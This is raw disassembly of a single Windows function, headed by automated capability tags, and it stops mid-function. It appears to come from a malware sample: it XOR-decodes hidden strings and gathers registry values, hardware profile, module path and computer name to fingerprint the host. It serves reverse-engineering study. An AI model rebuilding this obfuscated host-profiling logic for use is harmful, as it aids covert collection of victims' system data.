Function at 0x40fcb0
Capabilities:
Encode data using xor
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x521c59
push eax
mov dword fs:[0], esp
mov eax, 0x2000
push ebx
call fcn.004fbe50
push esi
push edi
mov dword [ebp - 0x64], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x549480]
movups xmmword [ebp - 0x23a], xmm0
mov word [ebp - 0x222], 0
xorps xmm0, xmm0
movq qword [ebp - 0x22a], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x23a], al
inc ecx
cmp ecx, 0x10
jb 0x40fd20
lea eax, [ebp - 0x23a]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x32c]
mov byte [ebp - 0x22a], 0
call fcn.00402ab0
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 4
call fcn.00402b50
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x2c0]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 6
call fcn.00402a10
xorps xmm0, xmm0
mov word [ebp - 0x118], 0xeaf0
movq qword [ebp - 0x116], xmm0
xor ecx, ecx
mov word [ebp - 0x10e], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x118], al
inc ecx
cmp ecx, 2
jb 0x40fda0
lea eax, [ebp - 0x118]
mov dword [0x55d598], ecx
push eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 0x116], 0
call fcn.00402ab0
lea ecx, [ebp - 0x344]
call fcn.00402b50
lea ecx, [ebp - 0x2c0]
mov esi, eax
call fcn.00402b50
push esi
push eax
call fcn.00500f40
add esp, 8
lea ecx, [ebp - 0x344]
mov edi, eax
mov dword [ebp - 0x40], edi
call fcn.00402a10
test edi, edi
je 0x411f4f
call fcn.0040d730
movaps xmm0, xmmword [0x546cb0]
test eax, eax
mov ecx, 0x20019
mov dword [ebp - 0x2a], 0xe6e0fdc5
setne byte [ebp - 0x15]
mov byte [ebp - 0x26], 0xef
test eax, eax
mov edx, 0x20119
mov esi, 0x55abd4
cmovne ecx, edx
cmp dword [0x55abe8], 0x10
mov dword [ebp - 0x14], ecx
cmovae esi, dword [0x55abd4]
xor ecx, ecx
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0xb
jb 0x40fe52
lea eax, [ebp - 0x2a]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push esi
cmovae eax, dword [ebp - 0x130]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x130]
call fcn.00402a10
cmp dword [0x55d0d4], 0x10
mov esi, 0x55d0c0
movaps xmm0, xmmword [0x546ce0]
cmovae esi, dword [0x55d0c0]
xor ecx, ecx
mov dword [ebp - 0x10c], 0xf9fbedd1
mov dword [ebp - 0x108], 0xb4e3e3e2
mov byte [ebp - 0x104], 0xaf
movups xmmword [ebp - 0x103], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x10c], al
inc ecx
cmp ecx, 0xf
jb 0x40fee1
lea eax, [ebp - 0x10c]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0xfd], 0
call fcn.00402ab0
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push esi
cmovae eax, dword [ebp - 0x130]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x130]
call fcn.00402a10
push 0
call fcn.00509089
add esp, 4
mov dword [ebp - 0x1f0], eax
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x1ec], edx
push eax
call fcn.00509571
movaps xmm0, xmmword [0x5483c0]
add esp, 4
mov esi, eax
mov word [ebp - 0x27], 0xe9c3
movups xmmword [ebp - 0x25], xmm0
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 8
jb 0x40ff75
lea eax, [ebp - 0x27]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push esi
cmovae eax, dword [ebp - 0x130]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x130]
call fcn.00402a10
movaps xmm0, xmmword [0x547810]
xor ecx, ecx
mov byte [ebp - 0x26], 0xd2
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 7
jb 0x40ffd7
lea eax, [ebp - 0x26]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
mov byte [ebp - 4], 7
lea eax, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x220]
cmovae eax, dword [ebp - 0x130]
push eax
call fcn.00402ab0
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 9
call fcn.00402a10
movaps xmm0, xmmword [0x549e50]
xor ecx, ecx
movups xmmword [ebp - 0x8d], xmm0
mov dword [ebp - 0x134], 0
movaps xmm0, xmmword [0x547290]
mov dword [ebp - 0x7d], 0xd9c5ecf1
mov dword [ebp - 0x79], 0xeaede5e9
mov byte [ebp - 0x75], 0xf0
movups xmmword [ebp - 0x74], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x8d], al
inc ecx
cmp ecx, 0x1f
jb 0x410070
lea eax, [ebp - 0x8d]
mov dword [0x55d568], ecx
push eax
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
cmp dword [ebp - 0x18c], 0x10
lea ecx, [ebp - 0x134]
push ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0x1a0]
cmovae eax, dword [ebp - 0x1a0]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x1a0]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x4101b8
movaps xmm0, xmmword [0x5480f0]
xor ecx, ecx
mov dword [ebp - 0x60], 0x20019
mov dword [ebp - 0x3c], 0x400
mov dword [ebp - 0xd5], 0xe2eae9ca
mov byte [ebp - 0xd1], 0xe2
movups xmmword [ebp - 0xd0], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd5], al
inc ecx
cmp ecx, 0xb
jb 0x410110
lea eax, [ebp - 0xd5]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 0xca], 0
call fcn.00402ab0
cmp dword [ebp - 0x18c], 0x10
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0xaf8]
push ecx
lea ecx, [ebp - 0x60]
push ecx
lea eax, [ebp - 0x1a0]
cmovae eax, dword [ebp - 0x1a0]
push 0
push eax
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x1a0]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x4101ac
lea ecx, [ebp - 0xaf8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410190
sub ecx, edx
lea eax, [ebp - 0xaf8]
push ecx
push eax
lea ecx, [ebp - 0x220]
call fcn.00482bf0
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x20c], 0x10
lea esi, [ebp - 0x220]
movaps xmm0, xmmword [0x546d00]
cmovae esi, dword [ebp - 0x220]
xor ecx, ecx
mov dword [ebp - 0x10c], 0xe2eae9ca
mov dword [ebp - 0x108], 0xc7e8e2e2
mov byte [ebp - 0x104], 0xcb
movups xmmword [ebp - 0x103], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x10c], al
inc ecx
cmp ecx, 0xf
jb 0x410200
push dword [ebp - 0x38]
mov dword [0x55d558], ecx
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0xfd], 0
call fcn.00402b60
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410240
sub ecx, edx
lea eax, [ebp - 0x10c]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b80
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push esi
cmovae eax, dword [ebp - 0xf0]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0xf0]
call fcn.00402a10
movaps xmm0, xmmword [0x547810]
xor ecx, ecx
mov byte [ebp - 0x26], 0xd2
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 7
jb 0x410297
push dword [ebp - 0x38]
mov dword [0x55d560], ecx
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x1f], 0
call fcn.00402b60
lea ecx, [ebp - 0x26]
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102c7
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xf0]
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0x208]
cmovae eax, dword [ebp - 0xf0]
push eax
call fcn.00402ab0
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0xe
call fcn.00402a10
push 0x7c
lea eax, [ebp - 0x520]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x41035c
lea ecx, [ebp - 0x51c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410340
sub ecx, edx
lea eax, [ebp - 0x51c]
push ecx
push eax
lea ecx, [ebp - 0x208]
call fcn.00482bf0
cmp dword [ebp - 0x1f4], 0x10
lea esi, [ebp - 0x208]
movaps xmm0, xmmword [0x546ca0]
cmovae esi, dword [ebp - 0x208]
xor ecx, ecx
mov dword [ebp - 0xd4], 0xcec0ddc0
movups xmmword [ebp - 0xd0], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd4], al
inc ecx
cmp ecx, 0xa
jb 0x410390
push dword [ebp - 0x38]
mov dword [0x55d5e0], ecx
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 0xca], 0
call fcn.00402b60
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4103d0
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00402b80
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x1e8]
cmp dword [ebp - 0x1d4], 0x10
push esi
cmovae eax, dword [ebp - 0x1e8]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x1e8]
call fcn.00402a10
lea ecx, [ebp - 0x10c]
call fcn.0040e8c0
mov dword [ebp - 0x64], eax
xorps xmm0, xmm0
mov byte [ebp - 0x16f], 0xd8
movq qword [ebp - 0x16e], xmm0
xor ecx, ecx
mov word [ebp - 0x166], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x16f], al
inc ecx
cmp ecx, 1
jb 0x410445
push dword [ebp - 0x38]
mov dword [0x55d620], ecx
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x16e], 0
call fcn.00402b60
lea ecx, [ebp - 0x16f]
mov byte [ebp - 4], 0x11
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410480
sub ecx, edx
lea eax, [ebp - 0x16f]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00402b80
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x38c]
cmovae eax, dword [ebp - 0x130]
mov dword [ebp - 0x34], eax
call fcn.0040e850
mov dword [ebp - 0x60], eax
xorps xmm0, xmm0
mov byte [ebp - 0x185], 0xd8
movq qword [ebp - 0x184], xmm0
xor ecx, ecx
mov word [ebp - 0x17c], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x185], al
inc ecx
cmp ecx, 1
jb 0x4104e2
push dword [ebp - 0x38]
mov dword [0x55d620], ecx
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 0x184], 0
call fcn.00402b60
lea ecx, [ebp - 0x185]
mov byte [ebp - 4], 0x14
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410520
sub ecx, edx
lea eax, [ebp - 0x185]
push ecx
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00402b80
cmp dword [ebp - 0x18c], 0x10
lea esi, [ebp - 0x1a0]
xorps xmm0, xmm0
mov byte [ebp - 0x17a], 0xd8
cmovae esi, dword [ebp - 0x1a0]
xor ecx, ecx
movq qword [ebp - 0x179], xmm0
mov word [ebp - 0x171], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x17a], al
inc ecx
cmp ecx, 1
jb 0x410570
push dword [ebp - 0x38]
mov dword [0x55d620], ecx
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 0x179], 0
call fcn.00402b60
lea ecx, [ebp - 0x17a]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4105b0
sub ecx, edx
lea eax, [ebp - 0x17a]
push ecx
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00402b80
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x1e8]
cmp dword [ebp - 0x1d4], 0x10
lea edx, [ebp - 0x220]
lea ecx, [ebp - 0x374]
cmovae eax, dword [ebp - 0x1e8]
push eax
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x18
push ecx
mov edx, eax
lea ecx, [ebp - 0x35c]
call fcn.00486f40
add esp, 4
mov edx, eax
mov ecx, esi
mov byte [ebp - 4], 0x19
lea eax, [ecx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410622
sub ecx, dword [ebp - 0x3c]
push ecx
push esi
mov ecx, edx
call fcn.00485900
push eax
lea ecx, [ebp - 0x158]
call fcn.00402a60
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x158]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x1b8]
push eax
push dword [ebp - 0x38]
call fcn.0048a830
mov byte [ebp - 4], 0x1b
mov esi, dword [ebp - 0x34]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410670
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1b8]
call fcn.00485900
push eax
lea ecx, [ebp - 0x26c]
call fcn.00402a60
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x26c]
push dword [ebp - 0x64]
lea ecx, [ebp - 0x284]
push eax
push dword [ebp - 0x38]
call fcn.0048a830
lea ecx, [ebp - 0x26c]
call fcn.00402a10
lea ecx, [ebp - 0x1b8]
call fcn.00402a10
lea ecx, [ebp - 0x158]
call fcn.00402a10
lea ecx, [ebp - 0x35c]
call fcn.00402a10
lea ecx, [ebp - 0x374]
call fcn.00402a10
lea ecx, [ebp - 0x1e8]
call fcn.00402a10
lea ecx, [ebp - 0x1a0]
call fcn.00402a10
lea ecx, [ebp - 0x38c]
call fcn.00402a10
lea ecx, [ebp - 0x130]
call fcn.00402a10
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x27
call fcn.00402a10
xorps xmm0, xmm0
mov byte [ebp - 0x288], 0
lea ecx, [ebp - 0x4a0]
movups xmmword [ebp - 0x2a8], xmm0
movups xmmword [ebp - 0x298], xmm0
call fcn.0049eec0
cmp dword [ebp - 0x270], 0x10
lea eax, [ebp - 0x284]
push dword [ebp - 0x274]
cmovae eax, dword [ebp - 0x284]
lea ecx, [ebp - 0x4a0]
push eax
call fcn.0049ecc0
push 0
lea ecx, [ebp - 0x4a0]
call fcn.0049ed90
cmp byte [ebp - 0x404], 0
je 0x4107a7
movups xmm0, xmmword [ebp - 0x3f3]
mov al, byte [ebp - 0x3d3]
mov byte [ebp - 0x288], al
movups xmmword [ebp - 0x2a8], xmm0
movups xmm0, xmmword [ebp - 0x3e3]
movups xmmword [ebp - 0x298], xmm0
movaps xmm0, xmmword [0x546ca0]
xor ecx, ecx
mov dword [ebp - 0x29], 0xcec0dfcf
movups xmmword [ebp - 0x25], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 0xa
jb 0x4107c0
push dword [ebp - 0x38]
mov dword [0x55d5e0], ecx
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x1f], 0
call fcn.00402b60
lea ecx, [ebp - 0x29]
mov byte [ebp - 4], 0x28
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4107f0
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b80
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0x2a8]
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push ecx
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0xf0]
call fcn.00402a10
push 0x104
lea eax, [ebp - 0xc00]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x40e690
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xc00]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x546c90]
xor ecx, ecx
mov dword [ebp - 0x2b], 0xebd9828a
mov word [ebp - 0x27], 0xe4ff
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0xc
jb 0x410896
push dword [ebp - 0x38]
mov dword [0x55d528], ecx
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x1f], 0
call fcn.00402b60
lea ecx, [ebp - 0x2b]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4108c6
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b80
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0xc00]
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push ecx
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0xf0]
call fcn.00402a10
movaps xmm0, xmmword [0x5487e0]
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
movups xmmword [ebp - 0x5c], xmm0
cmovae esi, dword [ebx + 8]
xor ecx, ecx
xorps xmm0, xmm0
mov word [ebp - 0x44], 0
movq qword [ebp - 0x4c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 0x10
jb 0x410935
push dword [ebp - 0x38]
mov dword [0x55d628], ecx
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x4c], 0
call fcn.00402b60
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x2a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410965
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b80
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push esi
cmovae eax, dword [ebp - 0xf0]
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0xf0]
call fcn.00402a10
cmp dword [ebx + 0x60], 0
je 0x4109bb
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x4109c0
mov esi, 0x542a20
movaps xmm0, xmmword [0x546ba0]
xor ecx, ecx
mov word [ebp - 0x27], 0xd8ce
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 8
jb 0x4109d3
push dword [ebp - 0x38]
mov dword [0x55d624], ecx
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x1f], 0
call fcn.00402b60
lea ecx, [ebp - 0x27]
mov byte [ebp - 4], 0x2b
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a00
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402b80
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x27
call fcn.00402b50
push esi
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
cmp dword [ebx + 0x48], 0
je 0x410a48
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x410a4d
mov esi, 0x542a20
cmp dword [ebx + 0x30], 0
je 0x410a63
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x34], eax
jmp 0x410a6a
mov dword [ebp - 0x34], 0x542a20
movaps xmm0, xmmword [0x549620]
xor ecx, ecx
movups xmmword [ebp - 0xc0], xmm0
mov word [ebp - 0xb0], 0x929a
xorps xmm0, xmm0
mov word [ebp - 0xa6], 0
movq qword [ebp - 0xae], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xc0], al
inc ecx
cmp ecx, 0x12
jb 0x410aa0
lea eax, [ebp - 0xc0]
mov dword [0x55d5dc], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xae], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
call fcn.00402b50
push esi
push dword [ebp - 0x34]
push eax
push edi
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x5c]
call fcn.00402a10
movaps xmm0, xmmword [0x549e50]
xor ecx, ecx
movups xmmword [ebp - 0x9a], xmm0
mov dword [ebp - 0x138], 0
movaps xmm0, xmmword [0x549210]
movups xmmword [ebp - 0x8a], xmm0
mov dword [ebp - 0x7a], 0xc4ccdad5
movaps xmm0, xmmword [0x5472a0]
mov word [ebp - 0x76], 0xfadf
movups xmmword [ebp - 0x74], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x9a], al
inc ecx
cmp ecx, 0x2c
jb 0x410b30
lea eax, [ebp - 0x9a]
mov dword [0x55d5b8], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
mov edi, 0xb0c00000
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x64], edi
call fcn.00402b50
lea ecx, [ebp - 0x138]
push ecx
push dword [ebp - 0x14]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x410dc4
movaps xmm0, xmmword [0x548060]
xor ecx, ecx
mov dword [ebp - 0x60], 0x20019
mov dword [ebp - 0x3c], 0x400
mov dword [ebp - 0x2a], 0xeee6fad7
mov byte [ebp - 0x26], 0xfe
movups xmmword [ebp - 0x25], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0xb
jb 0x410bc0
lea eax, [ebp - 0x2a]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0xaf8]
push ecx
lea ecx, [ebp - 0x60]
push ecx
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push 0
push eax
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x410db8
xor ecx, ecx
xorps xmm0, xmm0
cmp byte [ebp - 0x15], cl
je 0x410ca3
mov word [ebp - 0xcd], 0xbeff
mov byte [ebp - 0xcb], 0xbd
movq qword [ebp - 0xca], xmm0
mov word [ebp - 0xc2], cx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xcd], al
inc ecx
cmp ecx, 3
jb 0x410c60
lea eax, [ebp - 0xcd]
mov dword [0x55d590], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xca], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x2c
lea esi, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov edi, 0xb0c00001
cmovae esi, dword [ebp - 0x5c]
jmp 0x410cff
mov word [ebp - 0x22], 0xbbff
mov byte [ebp - 0x20], 0xbb
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x17], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 3
jb 0x410cb8
lea eax, [ebp - 0x22]
mov dword [0x55d590], ecx
push eax
lea ecx, [ebp - 0xbc]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x2d
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov edi, 0xb0c00002
cmovae esi, dword [ebp - 0xbc]
movaps xmm0, xmmword [0x548fb0]
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x64], edi
xorps xmm0, xmm0
mov dword [ebp - 0x14], edi
mov word [ebp - 0x70], 0x929a
movq qword [ebp - 0x6e], xmm0
mov word [ebp - 0x66], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x80], al
inc ecx
cmp ecx, 0x12
jb 0x410d26
lea eax, [ebp - 0x80]
mov dword [0x55d5dc], ecx
push eax
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0xaf8]
mov edi, dword [ebp - 0x40]
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push esi
push ecx
push eax
push edi
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0xf0]
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test al, 2
je 0x410d9c
and eax, 0xfffffffd
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x27
test al, 1
je 0x410db5
and eax, 0xfffffffe
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xd08]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
mov dword [ebp - 0x1bc], 0x104
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x548920]
xor ecx, ecx
movups xmmword [ebp - 0x81], xmm0
mov word [ebp - 0x71], 0x95e4
xorps xmm0, xmm0
mov byte [ebp - 0x6f], 0x93
movq qword [ebp - 0x6e], xmm0
mov word [ebp - 0x66], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 0x13
jb 0x410e20
lea eax, [ebp - 0x81]
mov dword [0x55d5a8], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
or edi, 0x40000000
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov esi, dword [ebp - 0x40]
lea ecx, [ebp - 0xd08]
push ecx
push eax
push esi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
push 0x104
lea eax, [ebp - 0xe10]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
mov dword [ebp - 0x1c0], 0x104
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0xe10]
push eax
